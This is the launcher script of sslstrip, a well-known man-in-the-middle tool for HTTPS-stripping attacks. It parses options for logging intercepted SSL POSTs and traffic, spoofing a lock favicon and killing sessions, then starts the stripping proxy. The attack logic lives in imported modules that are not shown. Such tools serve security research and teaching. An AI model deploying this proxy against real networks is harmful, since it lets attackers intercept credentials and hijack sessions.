Path: blob/master/sslstrip-work-2019/sslstrip.py
1303 views
#!/usr/bin/env python12"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""34__author__ = "Moxie Marlinspike"5__email__ = "[email protected]"6__license__= """7Copyright (c) 2004-2009 Moxie Marlinspike <[email protected]>89This program is free software; you can redistribute it and/or10modify it under the terms of the GNU General Public License as11published by the Free Software Foundation; either version 3 of the12License, or (at your option) any later version.1314This program is distributed in the hope that it will be useful, but15WITHOUT ANY WARRANTY; without even the implied warranty of16MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU17General Public License for more details.1819You should have received a copy of the GNU General Public License20along with this program; if not, write to the Free Software21Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-130722USA2324"""2526from twisted.web import http27from twisted.internet import reactor2829from sslstrip.StrippingProxy import StrippingProxy30from sslstrip.URLMonitor import URLMonitor31from sslstrip.CookieCleaner import CookieCleaner3233import sys, getopt, logging, traceback, string, os3435gVersion = "0.9"3637def usage():38print "\nsslstrip " + gVersion + " by Moxie Marlinspike"39print "Usage: sslstrip <options>\n"40print "Options:"41print "-w <filename>, --write=<filename> Specify file to log to (optional)."42print "-p , --post Log only SSL POSTs. (default)"43print "-s , --ssl Log all SSL traffic to and from server."44print "-a , --all Log all SSL and HTTP traffic to and from server."45print "-l <port>, --listen=<port> Port to listen on (default 10000)."46print "-f , --favicon Substitute a lock favicon on secure requests."47print "-k , --killsessions Kill sessions in progress."48print "-h Print this help message."49print ""5051def parseOptions(argv):52logFile = 'sslstrip.log'53logLevel = logging.WARNING54listenPort = 1000055spoofFavicon = False56killSessions = False5758try:59opts, args = getopt.getopt(argv, "hw:l:psafk",60["help", "write=", "post", "ssl", "all", "listen=",61"favicon", "killsessions"])6263for opt, arg in opts:64if opt in ("-h", "--help"):65usage()66sys.exit()67elif opt in ("-w", "--write"):68logFile = arg69elif opt in ("-p", "--post"):70logLevel = logging.WARNING71elif opt in ("-s", "--ssl"):72logLevel = logging.INFO73elif opt in ("-a", "--all"):74logLevel = logging.DEBUG75elif opt in ("-l", "--listen"):76listenPort = arg77elif opt in ("-f", "--favicon"):78spoofFavicon = True79elif opt in ("-k", "--killsessions"):80killSessions = True8182return (logFile, logLevel, listenPort, spoofFavicon, killSessions)8384except getopt.GetoptError:85usage()86sys.exit(2)8788def main(argv):89(logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)9091logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',92filename=logFile, filemode='w')9394URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)95CookieCleaner.getInstance().setEnabled(killSessions)9697strippingFactory = http.HTTPFactory(timeout=10)98strippingFactory.protocol = StrippingProxy99100reactor.listenTCP(int(listenPort), strippingFactory)101102print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."103104reactor.run()105106if __name__ == '__main__':107main(sys.argv[1:])108109110